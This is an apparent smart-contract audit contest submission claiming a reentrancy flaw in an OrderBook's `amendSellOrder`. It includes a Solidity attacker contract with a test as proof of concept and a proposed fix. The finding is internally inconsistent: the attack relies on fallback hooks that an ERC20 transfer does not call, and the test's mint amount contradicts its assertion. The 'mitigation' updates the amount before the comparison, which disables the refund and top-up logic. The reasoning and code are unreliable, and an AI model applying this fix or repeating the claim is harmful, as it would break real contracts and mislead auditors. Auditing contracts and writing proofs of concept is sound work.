Submission Details
Impact:
Likelihood:
Reentrancy attack in `OrderBook::amendSellOrder` allows Sellers to drain the contract balance
Description
The `OrderBook::amendSellOrder` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables sellers to drain the contract balance.
function amendSellOrder(
uint256 _orderId,
uint256 _newAmountToSell,
uint256 _newPriceInUSDC,
uint256 _newDeadlineDuration
) public {
Order storage order = orders[_orderId];
// Validation checks
if (order.seller == address(0)) revert OrderNotFound(); // Check if order exists
if (order.seller != msg.sender) revert NotOrderSeller();
if (!order.isActive) revert OrderAlreadyInactive();
if (block.timestamp >= order.deadlineTimestamp) revert OrderExpired(); // Cannot amend expired order
if (_newAmountToSell == 0) revert InvalidAmount();
if (_newPriceInUSDC == 0) revert InvalidPrice();
if (_newDeadlineDuration == 0 || _newDeadlineDuration > MAX_DEADLINE_DURATION) revert InvalidDeadline();
uint256 newDeadlineTimestamp = block.timestamp + _newDeadlineDuration;
IERC20 token = IERC20(order.tokenToSell);
// Handle token amount changes
if (_newAmountToSell > order.amountToSell) {
// Increasing amount: Transfer additional tokens from seller
uint256 diff = _newAmountToSell - order.amountToSell;
token.safeTransferFrom(msg.sender, address(this), diff);
} else if (_newAmountToSell < order.amountToSell) {
// Decreasing amount: Transfer excess tokens back to seller
@> uint256 diff = order.amountToSell - _newAmountToSell;
@> token.safeTransfer(order.seller, diff);//FIXME re-entrancy
}
// Update order details
@> order.amountToSell = _newAmountToSell;
order.priceInUSDC = _newPriceInUSDC;
order.deadlineTimestamp = newDeadlineTimestamp;
emit OrderAmended(_orderId, _newAmountToSell, _newPriceInUSDC, newDeadlineTimestamp);
}
Risk
Likelihood:
It's easy for an attacker to exploit this vulnerability.
Impact:
All tokens could be stolen by a malicious seller.
Proof of Concept
contract ReentrancyAttacker {
OrderBook book;
IERC20 public immutable iWETH;
event OrderAmended(
uint256 indexed orderId, uint256 newAmountToSell, uint256 newPriceInUSDC, uint256 newDeadlineTimestamp
);
constructor(OrderBook _book,address _weth) {
book = _book;
iWETH = IERC20(_weth);
}
function attack1() public payable returns (uint256) {
iWETH.approve(address(book), 8e18);
uint256 orderId = book.createSellOrder(address(iWETH), 8e18, 8e18, 2 days);
return orderId;
}
function attack2() public payable {
console2.log("attack2...");
emit OrderAmended(2,5e18,5e18,3 days);
book.amendSellOrder(1,5e18,5e18,3 days);
}
function _stealMoney() internal {
console2.log("sleal...");
book.amendSellOrder(1,5e18,5e18,3 days);
}
fallback() external payable {
_stealMoney();
}
receive() external payable {
_stealMoney();
}
}
function test_Reentrancy() public {
ReentrancyAttacker attackerContract = new ReentrancyAttacker(book,address(weth));
weth.mint(address(attackerContract), 8);
assert(weth.balanceOf(address(attackerContract)) == 8e18);
address(attackerContract).call{value: 1 wei}("");// triggered
console2.log("p0");
vm.prank(bob);
IERC20(address(weth)).safeTransfer(address(attackerContract), 1e18);// Not triggered
uint256 orderId = attackerContract.attack1();
console2.log("p1:",weth.balanceOf(address(attackerContract)));
attackerContract.attack2();
console2.log("p2:",weth.balanceOf(address(attackerContract)));
}
Recommended Mitigation
function amendSellOrder(
uint256 _orderId,
uint256 _newAmountToSell,
uint256 _newPriceInUSDC,
uint256 _newDeadlineDuration
) public {
Order storage order = orders[_orderId];
// Validation checks
if (order.seller == address(0)) revert OrderNotFound(); // Check if order exists
if (order.seller != msg.sender) revert NotOrderSeller();
if (!order.isActive) revert OrderAlreadyInactive();
if (block.timestamp >= order.deadlineTimestamp) revert OrderExpired(); // Cannot amend expired order
if (_newAmountToSell == 0) revert InvalidAmount();
if (_newPriceInUSDC == 0) revert InvalidPrice();
if (_newDeadlineDuration == 0 || _newDeadlineDuration > MAX_DEADLINE_DURATION) revert InvalidDeadline();
uint256 newDeadlineTimestamp = block.timestamp + _newDeadlineDuration;
IERC20 token = IERC20(order.tokenToSell);
+ order.amountToSell = _newAmountToSell;
// Handle token amount changes
if (_newAmountToSell > order.amountToSell) {
// Increasing amount: Transfer additional tokens from seller
uint256 diff = _newAmountToSell - order.amountToSell;
token.safeTransferFrom(msg.sender, address(this), diff);
} else if (_newAmountToSell < order.amountToSell) {
// Decreasing amount: Transfer excess tokens back to seller
uint256 diff = order.amountToSell - _newAmountToSell;
token.safeTransfer(order.seller, diff);//FIXME re-entrancy
}
// Update order details
- order.amountToSell = _newAmountToSell;
order.priceInUSDC = _newPriceInUSDC;
order.deadlineTimestamp = newDeadlineTimestamp;
emit OrderAmended(_orderId, _newAmountToSell, _newPriceInUSDC, newDeadlineTimestamp);
}
Rewards breakdown
nSLOC
217This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.